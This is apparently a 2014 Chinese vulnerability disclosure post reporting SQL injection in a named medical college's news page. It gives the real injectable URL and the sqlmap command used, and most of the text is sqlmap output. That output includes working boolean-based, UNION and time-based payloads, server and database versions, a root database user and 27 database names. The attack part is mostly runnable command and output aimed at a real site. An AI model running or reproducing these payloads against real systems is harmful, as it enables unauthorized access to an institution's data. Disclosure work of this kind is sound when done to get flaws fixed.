2014-06-05: 细节已通知厂商并且等待厂商处理中 2014-06-10: 厂商已经主动忽略漏洞,细节向公众公开
广东医学院某地方存在SQL注入。。。RT。。
http://www.gdmc.edu.cn/news/view.php?id=12490
注入点。然后跑sqlmap
得出
D:\sqlmap>sqlmap.py -u "http://www.gdmc.edu.cn/news/view.php?id=12490" --dbs --current-user --current-db sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 16:15:56[16:15:56] [INFO] testing connection to the target url[16:15:57] [INFO] testing if the url is stable, wait a few seconds[16:15:59] [WARNING] url is not stable, sqlmap will base the page comparison ona sequence matcher. If no dynamic nor injectable parameters are detected, or incase of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match onhow do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit][16:16:04] [INFO] testing if GET parameter 'id' is dynamic[16:16:09] [INFO] confirming that GET parameter 'id' is dynamic[16:16:12] [INFO] GET parameter 'id' is dynamic[16:16:13] [WARNING] heuristic test shows that GET parameter 'id' might not be injectable[16:16:13] [INFO] testing for SQL injection on GET parameter 'id'[16:16:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[16:16:15] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable[16:16:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[16:16:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'[16:16:15] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[16:16:15] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[16:16:16] [INFO] testing 'MySQL > 5.0.11 stacked queries'[16:16:16] [INFO] testing 'PostgreSQL > 8.1 stacked queries'[16:16:16] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'[16:16:16] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'[16:16:38] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable[16:16:38] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'[16:16:38] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found[16:16:41] [INFO] ORDER BY technique seems to be usable. This should reduce thetime needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test[16:16:50] [INFO] target url appears to have 23 columns in query[16:17:19] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectableGET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]sqlmap identified the following injection points with a total of 48 HTTP(s) requests:---Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=12490 AND 1087=1087 Type: UNION query Title: MySQL UNION query (NULL) - 23 columns Payload: id=-6800 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a686a783a,0x6f7a527851437078414b,0x3a6b69723a),NULL,NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=12490 AND SLEEP(5)---[16:17:21] [INFO] the back-end DBMS is MySQLweb server operating system: Windows 2003web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0back-end DBMS: MySQL 5.0.11[16:17:21] [INFO] fetching current usercurrent user: 'root@localhost'[16:17:22] [INFO] fetching current databasecurrent database: 'gdmcnews'[16:17:24] [INFO] fetching database names[16:17:26] [INFO] the SQL query used returns 27 entries[16:17:28] [INFO] retrieved: "information_schema"[16:17:28] [INFO] retrieved: "123"[16:17:28] [INFO] retrieved: "data"[16:17:29] [INFO] retrieved: "database"[16:17:29] [INFO] retrieved: "dept"[16:17:30] [INFO] retrieved: "doc"[16:17:30] [INFO] retrieved: "fxcenter"[16:17:31] [INFO] retrieved: "gdmcnews"[16:17:31] [INFO] retrieved: "gdschooldb"[16:17:32] [INFO] retrieved: "jyjs2005"[16:17:32] [INFO] retrieved: "kexueshijian"[16:17:32] [INFO] retrieved: "liuyanben"[16:17:33] [INFO] retrieved: "mysql"[16:17:33] [INFO] retrieved: "news"[16:17:33] [INFO] retrieved: "office"[16:17:34] [INFO] retrieved: "performance_schema"[16:17:34] [INFO] retrieved: "photoassociation"[16:17:34] [INFO] retrieved: "president"[16:17:34] [INFO] retrieved: "shc"[16:17:35] [INFO] retrieved: "test"[16:17:35] [INFO] retrieved: "xcb"[16:17:35] [INFO] retrieved: "xfjs"[16:17:35] [INFO] retrieved: "xq50"[16:17:36] [INFO] retrieved: "xuebao"[16:17:36] [INFO] retrieved: "xxgk"[16:17:36] [INFO] retrieved: "ypzx"[16:17:37] [INFO] retrieved: "zhaosheng"available databases [27]:[*] 123[*] data[*] database[*] dept[*] doc[*] fxcenter[*] gdmcnews[*] gdschooldb[*] information_schema[*] jyjs2005[*] kexueshijian[*] liuyanben[*] mysql[*] news[*] office[*] performance_schema[*] photoassociation[*] president[*] shc[*] test[*] xcb[*] xfjs[*] xq50[*] xuebao[*] xxgk[*] ypzx[*] zhaosheng[16:17:37] [INFO] fetched data logged to text files under 'D:\sqlmap\output\www.gdmc.edu.cn'[*] shutting down at 16:17:37
赶紧修复吧!
危害等级:无影响厂商忽略
忽略时间:2014-06-10 18:06
暂无